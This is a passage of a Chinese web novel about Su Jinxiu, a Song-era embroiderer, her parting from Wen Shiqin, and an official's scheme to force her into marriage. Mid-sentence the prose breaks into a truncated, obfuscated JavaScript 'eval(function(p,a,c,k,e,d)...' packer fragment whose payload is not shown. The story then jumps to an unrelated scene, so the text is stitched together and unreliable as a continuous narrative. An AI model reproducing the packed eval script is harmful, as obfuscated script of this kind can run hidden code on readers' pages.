话音落,他竟真的将大半重量都卸在她肩头,苏锦绣本就站得不稳,被他这么一压,顿时晃了晃,心头猛地一跳,忙伸手去扶桌案,却按在了他撑在桌上的右手上。 慌乱间,她左手攥住他的衣襟,试图将人推开,声音发急:“阿钦,别闹了,快起开……” 闻时钦的回话落在她耳畔,伴着温热的气息,还有赌定她会纵容的顽劣:“不起。” 他脑袋蹭了蹭她的肩,语气软下来:“阿姐,你怎的这般好?待我也这般好,真是让我无以为报。” “我对你好,又不是求你报答,瞎说什么。”苏锦绣偏过头,避开他的亲近,声音却发飘。 “那可不行。”闻时钦轻笑,气息扫过她泛红的耳廓,“我可是日日夜夜都在心里盘算,该怎么报答阿姐。” “要不待我归来……” 这话只说一半,余下的欲说还休,故意吊着人心。苏锦绣忙打断:“回来的事等你平安回来再说,别……别提前许诺。” 闻时钦先是一愣,随即在她耳边低笑出声:“都听阿姐的。” 身后的禁锢渐渐松开,他也不再将重量压在她肩上,苏锦绣刚松了口气,就听得他低声又言: “可若要我此刻歇了话头,归来时再叙,定是要带着多日的利息,一并讨回来的。” 20.白瓷兔 同心一人去,坐觉长安空。 闻时钦辞行这五日,苏锦绣几无虚刻,尽耗在华韵阁中。 一来是待办的绣活安排得紧,二来也是想借着这份忙碌,少想些有的没的。 第六日近午,苏锦绣终于将手头一幅绣活收了尾,她把绣针轻巧别回布绷边缘,抬手舒了个懒腰,骨节间轻轻响了两声。 只是连着伏案小半日光景,骤然松快下来,反倒觉出几分空茫,指尖没了丝线缠绕的实感,心尖竟也跟着空落落的,像少了些依托。 她转头望向邻座的绣绷,见曼殊正垂首捻线穿针,便扬声搭话:“曼殊姐姐这牡丹的配色,倒比前番那幅明艳许多,瞧着便眼亮。” 曼殊闻言抬眸浅笑:“可不是?昨日新得了线,想着试配这丹砂色,倒真有几分意外。” 二人就着针脚的疏密、丝线的晕染有一搭没一搭闲谈片刻,苏锦绣便起身踱了踱,脚步不由自主就往安尺素的书架去了。那架上叠着些诗书册页,多是阁中绣娘闲时借来解闷的,此刻正合她意。 指尖在一排书脊上轻轻滑过,随手抽了本翻得有些软的册子。 书页在掌心展开,目光扫过题签,好巧不巧,竟是张九龄的《赋得自君之出矣》。 她倚着书架,单手举着册子,想借着诗句陶冶下情操,便朗声念了出来:“自君之出矣,不复理残机。” 话音刚落,曼殊、琳琅还有其余绣娘都忽然回头望她。 苏锦绣愣了愣,忙低头去看书里的释义,心里咯噔一下,慌忙合上书,转身就把册子塞回书架深处,脚步匆匆坐回绣案。 可曼殊和琳琅偏就笑着围上来打趣,苏锦绣想解释自己不过是偶然翻到、随口吟诵,可话到嘴边却越说越乱。 末了她索性闭了嘴,红着脸埋下头抓起绣针,重新将素布绷紧。 忽有脚步声自阁外传来,是丹荔背着个青布包袱,目光直直锁向苏锦绣身上,开口便是一句:“二当家的。” 苏锦绣抬眸,见她眉间凝着几分生硬,便搁下丝线站起身:“怎么了?” 周遭绣娘也停了针脚,目光齐刷刷聚过来,阁内瞬时静了大半。 丹荔攥紧了包袱带,声音没什么起伏:“我来辞工。” 苏锦绣倒没太惊讶,她早知晓丹荔家境本就优于同侪,前几日更听曼殊提过,其兄新近补了九品主簿的缺,如今想来,丹荔大约是觉得,再屈身绣坊拈针引线,已配不上家中新添的官宦名头了。 她未多问,只转身至账桌前,取了算盘轻拨,按本月工期算清月钱,又从匣中多取了两吊钱,算是阁里给的添程礼,一并包进油纸袋里递去:“月钱与添礼都在这儿,你点验清楚。往后若得空,也可回阁中看看。” 丹荔接过油纸袋,只淡淡应了一声,转身便去了,并无半分留恋。 直到阁门再次合上,才有细碎的议论声悄悄漫开,苏锦绣却只拿起绣针道: “咱们接着做活吧。” 此时已至暮夏,雪桐花瓣携着日光碎影,自护龙河畔飘落,掠过修房青瓦,终轻叩张府朱扉。 张府朱扉掩肃气,罘罳外树影沉沉。 应不寐立在已在书房案侧逾候三刻,看篆烟绕着壁上匾额蜿蜒,看案头五十两黄金叠作方锭,金芒灼灼。 自那日阙下赐金,张明叙总以冗务缠身为由,应不寐便再难求见,迁延至今方得一晤。 忽有履声自阶下传来,渐至门前。 “应兄久等,实是有要事耽搁。” 门轴轻轧,张明叙身着紫金官袍踏光步入,抬手解下外袍递于弓立的仆从,威仪随步履漫开。 他目光扫过案上黄金时,唇边笑意倏然敛去,抬手理了理玉带蹀躞,缓步踱至案边,指节轻叩金锭,低沉问道:“何故将苏姑娘的定礼遣回?” 应不寐抬眸,迎上他审度的目光:“苏姑娘近来声名鹊起,坊中派单络绎不绝,张大人这桩差事,想来不是她眼下能腾出手接的。” 张明叙面色骤然一沉,却未再有言,只望向书房正壁。 那里悬着幅设色仕女图,画中女子云髻峨峨,柔情绰态。再细辨五官,竟与苏锦绣有七八分肖似,只少了几分鲜活气。 “十年生死两茫茫……不思量,自难忘……” 这话里的深意如重石投水,应不寐垂在身侧的手骤然攥紧,随即开口:“宣序今时权势在握,世间姝丽可取者何其多,何必执着于一介绣娘?” “应兄向来一点就通,今日怎的百般装傻?”张明叙骤然严厉,“还是说,你已然不在意那道密旨了?” 应不寐上前半步与他对视:“穷寇莫追,张大人当真要把路堵死,落得玉石俱焚的后果,教彼此都没了转圜余地?” 张明叙讥诮笑道:“你要搏,自然无妨。只是我实在不知,你以什么立场在搏呢?养病的太妃,还有你寄养的幼弟,当得起这搏的代价么?” 应不寐心神一震,先前的锐气散了大半。 张明叙指尖轻触案上黄金,声线沉缓:“下月起,我便领旨往两浙路督运漕粮,兼查各州府秋税积弊,此去约莫半载方归。” “待我半年后返程,希望应兄能让苏姑娘,直接身着那套绣好的凤冠霞帔,一并入我张府,也省得我再多费周折。” 张明叙说罢,抬手轻拍应不寐肩头,指腹在其肩骨处微按,力道不重,却似带了千钧压力,是安抚,亦是威胁。 “届时事成,我便将那道密旨归还,应兄也能高枕无忧,不必再受这朝堂风波牵累。” 张府朱扉在身后徐徐阖拢,将满室筹算尽皆隔于门内。 应不寐步出府庭,只觉骄阳骤灼双目,方才强支的心神倏然弛颓,恍惚间步履若踏云雾。 浑不知如何登车,又如何任轮蹄碾过汴京青石板巷,如何轹至华韵阁前。 轮声暂歇,应不寐却未下车,只轻掀车帘一角,目光凝注于那熟悉的珠帘门楣上。 天意如此,恰在此时阁门轻启,有佳人款步而出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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南淮月抬眼一怔,随即叹道:“呀,锦绣娘子来得迟了!前几日南边送烟霞绒的船刚抵码头,货一卸便被花满渚的人尽数订走,半分未留。” 这花满渚是汴京早已声名鹊起的绣坊,专做王公贵族的定制活计,京中勋贵眷属的衣饰多出自其手,寻常绣坊难与其争衡。 琳琅急声道:“淮月姑姑,当真一点都没剩?” “呦,我还能诓你们不成?”南淮月放下账本,压低声音,“我听花满渚的人说,是接了清平县主及笄礼的衣饰活计,要做一套云凤朝珠裙,那绒线色泽透亮,最衬金线,他们把这批货全包了去,一星半点都没留。” 苏锦绣现已任华韵阁当家之职,只盼再勉力半载,广揽活计,以期完成系统书页上布置的任务,成汴京第一绣娘,安稳活到二十岁。 可天下英雄如过江之鲫,那花满渚绣艺之精、声望之隆皆在己上,不啻云泥之别。 念及此处,她先前心头的期许如残烛遇风般倏然黯淡,只觉前路漫漫,如斯茫然。 乘兴而来,败兴而归。